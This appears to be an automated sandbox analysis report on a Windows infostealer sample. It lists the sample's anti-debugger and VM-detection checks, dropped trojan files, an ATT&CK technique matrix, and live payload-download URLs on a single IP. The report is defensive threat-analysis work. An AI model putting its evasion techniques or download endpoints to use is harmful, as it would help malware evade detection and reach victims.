Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA015E second address: 4DA01DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FEEE08A230Ch 0x00000011 add cx, 5CD8h 0x00000016 jmp 00007FEEE08A230Bh 0x0000001b popfd 0x0000001c popad 0x0000001d push esp 0x0000001e jmp 00007FEEE08A2312h 0x00000023 mov dword ptr [esp], ebx 0x00000026 pushad 0x00000027 mov ax, AF4Dh 0x0000002b mov eax, 1017F349h 0x00000030 popad 0x00000031 mov ebx, dword ptr [ebp+10h] 0x00000034 jmp 00007FEEE08A2314h 0x00000039 xchg eax, esi 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA01DB second address: 4DA01F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825FA3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825763 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9D9AC8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A5CF14 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00825CD4 rdtsc

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 2589			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 2375			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 2381			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7368	Thread sleep count: 58 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7368	Thread sleep time: -116058s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7328	Thread sleep count: 46 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7328	Thread sleep count: 82 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7340	Thread sleep count: 2589 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7340	Thread sleep time: -5180589s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7328	Thread sleep count: 40 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7328	Thread sleep count: 154 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7448	Thread sleep time: -40000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7352	Thread sleep count: 106 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7352	Thread sleep time: -212106s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep count: 2375 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7348	Thread sleep time: -4752375s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7360	Thread sleep count: 105 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7360	Thread sleep time: -210105s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7344	Thread sleep count: 2381 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7344	Thread sleep time: -4764381s >= -30000s			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2664793231.00000000009B1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000003.2278951429.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253670934.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101913818.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177695889.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202839902.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152495724.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127385618.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313770429.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2665430518.0000000001005000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228425864.0000000005474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2076681288.0000000005474000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2664793231.00000000009B1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00825CD4 rdtsc

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F4C9DB push dword ptr fs:[00000030h]		0_2_00F4C9DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D10D90 mov eax, dword ptr fs:[00000030h]		0_2_04D10D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D1092B mov eax, dword ptr fs:[00000030h]		0_2_04D1092B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402EC0 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,HeapFree,VirtualAlloc,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004099EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040A54A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040CDA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A6E0 SetUnhandledExceptionFilter,		0_2_0040A6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D19C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04D19C51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D1A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04D1A7B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D1D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04D1D00A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04D1A947 SetUnhandledExceptionFilter,		0_2_04D1A947

Source: file.exe, file.exe, 00000000.00000002.2664793231.00000000009B1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: hProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A2AC cpuid

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004107E2 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	HEUR/AGEN.1320706
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\es3Yf5ZWrKdS0dDs0WN3JzEN\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://80.82.65.70/files/downloadc:y	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadj	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadM5	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download6	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadm:g	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/downe:	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/keyN	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download.	100%	Avira URL Cloud	malware
http://80.82.65.70/files/downloadQ5	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadt	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empWD	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloader:	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloads5	0%	Avira URL Cloud	safe
http://80.82.65.70/files	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadq:	0%	Avira URL Cloud	safe
http://80.82.65.	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadJCZ	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadi5c	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download8yb	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadV	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadvy$	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp=Ee	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadA	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadeep-Al	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/dll/download	false		high
http://80.82.65.70/dll/key	false		high
http://80.82.65.70/files/download	false		high
http://80.82.65.70/soft/download	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/files/downloadj	file.exe, 00000000.00000003.2152414273.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202764538.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253635667.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177624907.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228368490.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127311530.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/keyN	file.exe, 00000000.00000002.2665430518.0000000001005000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadM5	file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadm:g	file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127338582.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101877799.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152442552.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177651450.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/soft/downe:	file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download.	file.exe, 00000000.00000003.2202764538.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2253635667.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177624907.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228368490.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2278917288.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/files/downloadQ5	file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadc:y	file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152442552.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177651450.0000000005552000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download6	file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadt	file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empWD	file.exe, 00000000.00000002.2667518035.0000000005460000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloader:	file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.	file.exe, 00000000.00000003.2403846656.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403411485.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	file.exe, 00000000.00000003.2451035215.000000000552F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.0000000005801000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450949738.00000000058BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.00000000058B9000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/downloadq:	file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127338582.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202790223.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2076612201.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2101877799.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2152442552.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177651450.0000000005552000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files	file.exe, 00000000.00000003.2403411485.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloads5	file.exe, 00000000.00000003.2451035215.0000000005553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadi5c	file.exe, 00000000.00000003.2369026142.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228394305.0000000005552000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2403702199.0000000005553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g-cleanit.hk	file.exe, 00000000.00000003.2451035215.000000000552F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.0000000005801000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450949738.00000000058BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2450156986.00000000058B9000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/download8yb	file.exe, 00000000.00000002.2665430518.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/downloadJCZ	file.exe, 00000000.00000003.2313742166.000000000583E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348559063.000000000583E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
